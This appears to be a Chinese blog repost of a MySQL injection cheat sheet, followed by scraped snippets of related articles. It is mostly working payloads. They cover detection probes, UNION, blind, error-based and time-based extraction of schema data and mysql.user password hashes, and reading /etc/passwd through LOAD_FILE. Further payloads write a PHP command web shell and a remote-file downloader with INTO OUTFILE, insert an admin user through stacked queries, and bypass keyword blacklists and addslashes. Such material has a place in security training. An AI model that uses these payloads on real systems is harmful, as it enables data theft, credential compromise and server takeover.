MySql注入科普

默认存在的数据库:

mysql 需要root权限读取
information_schema 在5以上的版本中存在

测试是否存在注入方法

假:表示查询是错误的 (MySQL 报错/返回页面与原来不同)

真:表示查询是正常的 (返回页面与原来相同)

共三种情况:

字符串类型查询时: 数字类型查询时: 登陆时:
‘‘
"
""
\
\\
AND 1
AND 0
AND true
AND false
1-false 有问题时返回1的结果
1-true 有问题时返回0的结果
2-1 返回与1相同代表可能存在问题
1*56 返回与56相同代表可能存在问题
1*56 返回与1相同代表没有问题
‘ OR ‘1
‘ OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
‘=‘
‘LIKE‘
‘=0--+

例子:

SELECT * FROM Users WHERE id = ‘1‘‘‘;
SELECT * FROM Users WHERE id = 3-2;
SELECT * FROM Users WHERE username = ‘Mike‘ AND password = ‘‘ OR ‘‘ = ‘‘;

可以使用很多单双引号,只要是成对出现。

SELECT * FROM Articles WHERE id = ‘121‘‘‘‘‘‘‘‘‘‘‘‘‘

引号后的语句会继续执行。

SELECT ‘1‘‘‘‘‘"" UNION SELECT ‘2‘ # 1 and 2

下面的符号可以用来注释语句:

# Hash 语法
/* C-style 语法
-- - SQL 语法
;%00 空字节
` 反引号

例子:

SELECT * FROM Users WHERE username = ‘‘ OR 1=1 -- -‘ AND password = ‘‘;
SELECT * FROM Users WHERE id = ‘‘ UNION SELECT 1, 2, 3`‘;

测试数据库版本

VERSION()
@@VERSION
@@GLOBAL.VERSION

如果版本为5的话,下面例子返回为真:

SELECT * FROM Users WHERE id = ‘1‘ AND MID(VERSION(),1,1) = ‘5‘;

windows平台上的mysql查询与linux上返回不同,如果是windows服务器返回结果会包含 -nt-log字符。

数据库认证信息:

mysql.user
字段 user, password
当前用户 user(), current_user(), current_user, system_user(), session_user()

例子:

SELECT current_user;
SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user = ‘root‘-- (Privileged)

数据库名:

information_schema.schemata, mysql.db
字段 schema_name, db
当前数据库 database(), schema()

例子:

SELECT database();
SELECT schema_name FROM information_schema.schemata;
SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)

服务器主机名:

@@HOSTNAME

例子:

SELECT @@hostname;

表和字段

检测字段数

两种方式:

ORDER BY判断 ORDER BY n+1; 让n一直增加直到出现错误页面。 例子: 查询语句 SELECT username, password, permission FROM Users WHERE id = ‘1‘; 1‘ ORDER BY 1--+ 真 1‘ ORDER BY 2--+ 真 1‘ ORDER BY 3--+ 真 1‘ ORDER BY 4--+ 假- 查询只用了3个字段 -1‘ UNION SELECT 1,2,3--+ 真
基于错误查询 AND (SELECT * FROM SOME_EXISTING_TABLE) = 1 注意: 这种方式需要你知道所要查询的表名。 这种报错方式返回表的字段数,而不是错误的查询语句。 例子: 查询语句 SELECT permission FROM Users WHERE id = 1; AND (SELECT * FROM Users) = 1 返回Users的字段数

查询表名

三种方式:

Union方式 UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;-- MySQL 4版本时用version=9,MySQL 5版本时用version=10
盲注 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > ‘A‘
报错 AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),[email protected]) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));-- 在5.1.5版本中成功。

查询列名

Union方式 UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = ‘tablename‘
盲注 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > ‘A‘
报错 AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),[email protected]) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));-- 在5.1.5版本中成功。 AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)-- MySQL 5.1版本修复了
利用PROCEDURE ANALYSE() 这个需要web展示页面有你所注入查询的一个字段。 例子: 查询语句 SELECT username, permission FROM Users WHERE id = 1; 1 PROCEDURE ANALYSE() 获得第一个段名 1 LIMIT 1,1 PROCEDURE ANALYSE() 获得第二个段名 1 LIMIT 2,1 PROCEDURE ANALYSE() 获得第三个段名

一次查询多个表或列

SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>[email protected]) AND (@)IN (@:=CONCAT(@,0x0a,‘ [ ‘,table_schema,‘ ] >‘,table_name,‘ > ‘,column_name))))x

例子:

SELECT * FROM Users WHERE id = ‘-1‘ UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>[email protected]) AND (@)IN (@:=CONCAT(@,0x0a,‘ [ ‘,table_schema,‘ ] >‘,table_name,‘ > ‘,column_name))))x), 4--+‘;

输出结果:

 [ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME
 [ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME
 [ information_schema ] >CHARACTER_SETS > DESCRIPTION
 [ information_schema ] >CHARACTER_SETS > MAXLEN
 [ information_schema ] >COLLATIONS > COLLATION_NAME
 [ information_schema ] >COLLATIONS > CHARACTER_SET_NAME
 [ information_schema ] >COLLATIONS > ID
 [ information_schema ] >COLLATIONS > IS_DEFAULT
 [ information_schema ] >COLLATIONS > IS_COMPILED

利用代码:

SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns

例子:

SELECT username FROM Users WHERE id = ‘-1‘ UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns;

输出结果:

Table: talk_revisions
Column: revid

Table: talk_revisions
Column: userid

Table: talk_revisions
Column: user

Table: talk_projects
Column: priority

根据列名查询所在的表

SELECT table_name FROM information_schema.columns WHERE column_name = ‘username‘; 查询字段为username的表
SELECT table_name FROM information_schema.columns WHERE column_name LIKE ‘%user%‘; 查询字段中包含user的表

根据表查询包含的字段

SELECT column_name FROM information_schema.columns WHERE table_name = ‘Users‘; 查询user表中的字段
SELECT column_name FROM information_schema.columns WHERE table_name LIKE ‘%user%‘; 查询包含user字符串表中的字段

绕过引号限制

SELECT * FROM Users WHERE username = 0x61646D696E Hex编码
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110) 利用CHAR()函数

绕过字符串黑名单

SELECT ‘a‘ ‘d‘ ‘mi‘ ‘n‘;
SELECT CONCAT(‘a‘, ‘d‘, ‘m‘, ‘i‘, ‘n‘);
SELECT CONCAT_WS(‘‘, ‘a‘, ‘d‘, ‘m‘, ‘i‘, ‘n‘);
SELECT GROUP_CONCAT(‘a‘, ‘d‘, ‘m‘, ‘i‘, ‘n‘);

使用CONCAT()时,任何个参数为null,将返回null, 推荐使用CONCAT_WS() 。

CONCAT_WS() 函数第一个参数表示用哪个字符间隔所查询的结果。

条件语句

CASE
IF()
IFNULL()
NULLIF()

例子:

SELECT IF(1=1, true, false);
SELECT CASE WHEN 1=1 THEN true ELSE false END;

时间延迟查询:

SLEEP() MySQL 5
BENCHMARK() MySQL 4/5

例子:

‘ - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1(‘true‘)), false)) - ‘

权限

文件权限

下面的语句可以查询用户读写文件操作权限:

SELECT file_priv FROM mysql.user WHERE user = ‘username‘; 需要root用户来执行 MySQL 4/5
SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file‘ AND grantee like ‘%username%‘; 普通用户都可以 MySQL 5

读取文件

如果用户有文件操作权限可以读取文件:

LOAD_FILE()

例子:

SELECT LOAD_FILE(‘/etc/passwd‘);
SELECT LOAD_FILE(0x2F6574632F706173737764);
  • 文件必须在服务器上。
  • LOAD_FILE()函数操作文件的当前目录是@@datadir 。
  • MySQL用户必须拥有对此文件读取的权限。
  • 文件大小必须小于 max_allowed_packet。
  • @@max_allowed_packet的默认大小是1047552 字节.

写文件

如果用户有文件操作权限可以写文件。

INTO OUTFILE/DUMPFILE

写一个php的shell:

SELECT ‘<? system($_GET[\‘c\‘]); ?>‘ INTO OUTFILE ‘/var/www/shell.php‘;

访问如下链接:

http://localhost/shell.php?c=cat%20/etc/passwd

写一个下载者:

SELECT ‘<? fwrite(fopen($_GET[f], \‘w\‘), file_get_contents($_GET[u])); ?>‘ INTO OUTFILE ‘/var/www/get.php‘

访问如下链接:

http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt

  • INTO OUTFILE 不可以覆盖已存在的文件。
  • INTO OUTFILE 必须是最后一个查询。
  • 引号是必须的,因为没有办法可以编码路径名。

PDO堆查询方式操作数据库

PHP使用PDO_MYSQL来连接数据库,便可以使用堆查询,堆查询可以同时执行多个语句。

SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username,password,priv) VALUES (‘BobbyTables‘, ‘kl20da$$‘,‘admin‘);

MySql特有的写法

MySql中,/*! SQL 语句 */ 这种格式里面的 SQL 语句会当正常的语句一样被解析。

如果在!之后是一串数字(这串数字就是 mysql 数据库的版本号), 如:/*! 12345 SQL 语句 */

当版本号大于等于该数字,SQL 语句则执行,否则就不执行。

SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);

模糊和混淆

允许的字符

09 Horizontal Tab
0A New Line
0B Vertical Tab
0C New Page
0D Carriage Return
A0 Non-breaking Space
20 Space

例子:

‘%0A%09UNION%0CSELECT%A0NULL%20%23

括号也可以用来绕过过滤空格的情况:

28 (
29 )

例子:

UNION(SELECT(column)FROM(table))

AND或OR后面可以跟的字符

20 Space
2B +
2D -
7E ~
21 !
40 @

例子:

SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))

dual是一个虚拟表,可以用来做测试。

几个针对黑名单绕过的例子

基于关键字的黑名单

过滤关键字 and or
php代码 preg_match(‘/(and|or)/i‘,$id)
会过滤的攻击代码 1 or 1=1 1 and 1=1
绕过方式 1 || 1=1 1 && 1=1

下面这种方式你需要已经知道一些表和字段名(可以利用substring函数去一个一个获得information_schema.columns表中的数据)

过滤关键字 and or union
php代码 preg_match(‘/(and|or|union)/i‘,$id)
会过滤的攻击代码 union select user,password from users
绕过方式 1 && (select user from users where userid=1)=‘admin‘
过滤关键字 and or union where
php代码 preg_match(‘/(and|or|union|where)/i‘,$id)
会过滤的攻击代码 1 && (select user from users where user_id = 1) = ‘admin‘
绕过方式 1 && (select user from users limit 1) = ‘admin‘
过滤关键字 and or union where
php代码 preg_match(‘/(and|or|union|where)/i‘,$id)
会过滤的攻击代码 1 && (select user from users where user_id = 1) = ‘admin‘
绕过方式 1 && (select user from users limit 1) = ‘admin‘
过滤关键字 and, or, union, where, limit
php代码 preg_match(‘/(and|or|union|where|limit)/i‘, $id)
会过滤的攻击代码 1 && (select user from users limit 1) = ‘admin‘
绕过方式 1 && (select user from users group by user_id having user_id = 1) = ‘admin‘#user_id聚合中user_id为1的user为admin
过滤关键字 and, or, union, where, limit, group by
php代码 preg_match(‘/(and|or|union|where|limit|group by)/i‘, $id)
会过滤的攻击代码 1 && (select user from users group by user_id having user_id = 1) = ‘admin‘
绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
过滤关键字 and, or, union, where, limit, group by, select
php代码 preg_match(‘/(and|or|union|where|limit|group by|select)/i‘, $id)
会过滤的攻击代码 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
绕过方式 1 && substr(user,1,1) = ‘a‘
过滤关键字 and, or, union, where, limit, group by, select, ‘
php代码 preg_match(‘/(and|or|union|where|limit|group by|select|\‘)/i‘, $id)
会过滤的攻击代码 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
绕过方式 1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61)
过滤关键字 and, or, union, where, limit, group by, select, ‘, hex
php代码 preg_match(‘/(and|or|union|where|limit|group by|select|\‘|hex)/i‘, $id)
会过滤的攻击代码 1 && substr(user,1,1) = unhex(61)
绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。
过滤关键字 and, or, union, where, limit, group by, select, ‘, hex, substr
php代码 preg_match(‘/(and|or|union|where|limit|group by|select|\‘|hex|substr)/i‘, $id)
会过滤的攻击代码 1 && substr(user,1,1) = lower(conv(11,10,16))/td>
绕过方式 1 && lpad(user,7,1)
过滤关键字 and, or, union, where, limit, group by, select, ‘, hex, substr, 空格
php代码 preg_match(‘/(and|or|union|where|limit|group by|select|\‘|hex|substr|\s)/i‘, $id)
会过滤的攻击代码 1 && lpad(user,7,1)/td>
绕过方式 1%0b||%0blpad(user,7,1)
过滤关键字 and or union where
php代码 preg_match(‘/(and|or|union|where)/i‘,$id)
会过滤的攻击代码 1 || (select user from users where user_id = 1) = ‘admin‘
绕过方式 1 || (select user from users limit 1) = ‘admin‘

利用正则表达式进行盲注

我们都已经知道,在MYSQL 5+中 information_schema库中存储了所有的 库名,表明以及字段名信息。故攻击方式如下:

1、判断第一个表名的第一个字符是否是a-z中的字符,其中blind_sqli是假设已知的库名。

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP ‘^[a-z]‘ LIMIT 0,1) /*

2、判断第一个字符是否是a-n中的字符

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables  WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP ‘^[a-n]‘ LIMIT 0,1)/*

3、确定该字符为n

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables  WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP ‘^n‘ LIMIT 0,1) /*

4、表达式的更换如下

‘^n[a-z]‘ -> ‘^ne[a-z]‘ -> ‘^new[a-z]‘ -> ‘^news[a-z]‘ -> FALSE

这时说明表名为news ,要验证是否是该表明 正则表达式为‘^news$‘,但是没这必要 直接判断 table_name = ‘news‘ 不就行了。

5、接下来猜解其它表了 只需要修改 limit 1,1 -> limit 2,1就可以对接下来的表进行盲注了。

order by后的注入

oder by由于是排序语句,所以可以利用条件语句做判断,根据返回的排序结果不同判断条件的真假。

一般带有oder或者orderby的变量很可能是这种注入,在知道一个字段的时候可以采用如下方式注入:

原始链接:http://www.test.com/list.php?order=vote 根据vote字段排序。

找到投票数最大的票数num然后构造以下链接:

http://www.test.com/list.php?order=abs(vote-(length(user())>0)*num)+asc

看排序是否变化。

还有一种方法不需要知道任何字段信息,使用rand函数:

http://www.test.com/list.php?order=rand(true)
http://www.test.com/list.php?order=rand(false)

以上两个会返回不同的排序,判断表名中第一个字符是否小于128的语句如下:

http://www.test.com/list.php?order=rand((select char(substring(table_name,1,1)) from information_schema.tables limit 1)<=128))

宽字节注入

sql注入中的宽字节国内最常使用的gbk编码,这种方式主要是绕过addslashes等对特殊字符进行转移的绕过。反斜杠()的十六进制为%5c,在你输入%bf%27时,函数遇到单引号自动转移加入\,此时变为%bf%5c%27,%bf%5c在gbk中变为一个宽字符“縗”。%bf那个位置可以是%81-%fe中间的任何字符。不止在sql注入中,宽字符注入在很多地方都可以应用。

时间: 2024-10-18 22:48:52

MySql注入科普的相关文章

mysql注入篇

博客这个东西真的很考验耐心,每写一篇笔记,都是在艰难的决定中施行的,毕竟谁都有懒惰的一面,就像这个,mysql注入篇,拖拖拖一直拖到现在才开始总结,因为这个实在是太多太杂了,细细的总结一篇太烧脑. 由于我没有找见php的实战本地源码,所以只好用一些漏洞平台的源码来演示了,演示不了的,只能列代码,没有实操图.毕竟找不见源码,,没法... 首先我们都知道mysql数据库和Access数据库的不同,不同在mysql是分多个数据库名的. 就像像我上图贴的这个格式一样,原谅我是在是没有本地源码,连数据库的

MYSQL注入基础及绕过技巧总结

1.MYSQL注入原理:用户输入的内容被当作sql语句来执行 2.MYSQL注入实战心得:一试参数,二试类型,三试绕过 一试参数:任何注入参数,都需确定其类型(数字还是字符),此处指的是注入参数的类型(***) 常用测试字符:引号(单双),圆括号,引号加圆括号...... 二试类型:五大类(BEUST):布尔型盲注.报错型注入.UNION联合查询型注入.时间延迟型盲注.堆查询注入 布尔型盲注:and 1=1 , and 1=2 , or 1=1 , or 1=2 ...... 报错型注入: fl

Mysql注入方式

0x00 – 报错注入 mysql 报错注入, 我们有时候会遇到没有正常数据回显的注入. 这时候就需要报错注入来获得我们需要的数据. 我们经常用到的有 floor(),updatexml(),extractvalue() 通过查找资料发现还有一些函数. 由于这三个比较通用, 也就是在大部分 mysql 版本中都有, 其他的有些可能在低版本里没有. floor() 语句:and (select 1 from (select count(*),concat(version(),floor(rand(

Mysql注入备忘

mysql注入中常用到的函数 database()查询当前数据库 current_user()查询当前用户 @@datadir查询数据库路径 @@version_compile_os查询操作系统版本 version()查询数据库版本 concat_ws(separator,str1, str2)含有分割符连接字符串 concat_ws(0x3a, version(), user(), database()) group_concat()含有分割符连接字段 group_concat([DISTIN

MYSQL注入天书之开天辟地

MYSQL注入天书 ---------Sqli-labs使用手册 ? MYSQL注入天书????1 写在前面的一些内容????1 SQLI和sqli-labs介绍????2 Sqli-labs下载????2 Sqli-labs安装????2 第一部分/page-1 Basic Challenges????3 Background-1 基础知识????3 Less-1????10 Less-2????14 Less-3????15 Less-4????16 Background-2 盲注的讲解??

虚拟机突破到实体机的侥幸,mysql注入失败之后的曙光!

事情缘由是我尝试进入我高中母校的一个二级网站,最后一件事降临我头上, 实在觉得好运,有趣极了,这也是 我为什么喜欢做这种事("逛逛"我的母校网站)打发时间:经历绝望和成就感. 截图一张: 这是360针对win服务器推出的主机卫士,它对菜刀连接做出了拦截,code居然是999,360的人真有情调啊. 我是很欣喜的,母校网站安全水平又上一层次了.然而就让人大吃一惊了,这主机卫士只拦截最最常见的那些,如果对常用恶意代码与工具有个排行榜的话,它只拦截排第一的,是的,排第二的它不拦. 360在老

MYSQL注入天书之基础知识

第一部分/page-1 Basic Challenges Background-1 基础知识 此处介绍一些mysql注入的一些基础知识. (1)注入的分类---仁者见仁,智者见智. 下面这个是阿德玛表哥的一段话,个人认为分类已经是够全面了.理解不了跳过,当你完全看完整个学习过程后再回头看这段.能完全理解下面的这些每个分类,对每个分类有属于你的认知和了解的时候,你就算是小有成就了,当然仅仅是sql注入上. 基于从服务器接收到的响应? ▲基于错误的SQL注入 ▲联合查询的类型 ▲堆查询注射 ▲SQL

从mysql注入到getshell

SQL注入就是一种通过操作输入(可以是表单,可以是get请求,也可以是POST请求等)相关SQL语句,并且能让该语句在数据库中得以执行,从而进行攻击的技术.最主要的原因就是没有对用户输入数据的合法性或者说是客户端提交的可变参数进行严格的检查和过滤,从而导致应用程序存在该漏洞.这篇文章主要是讲述通过一个mysql注入漏洞,通过os-shell执行echo命令获取webshell的攻击过程,大牛绕过,写这篇文章主要表扬自己开始有了自己的想法,可能该想法是其他人早就知道的! 本来通过管理后台弱口令进入

MySQL注入工具sqlsus

sqlsus是使用Perl语言编写的MySQL注入和接管工具.它可以获取数据库结构,实施注入查询,下载服务器的文件,爬取可写目录并写入后门,以及复制数据库文件等功能.它提供Inband和盲注两种注入模式,获取数据库权限. 使用时,用户首先使用该工具生成一个配置文件.在配置文件中,设置注入路径以及注入的各项参数,然后再加载该文件,实施渗透测试.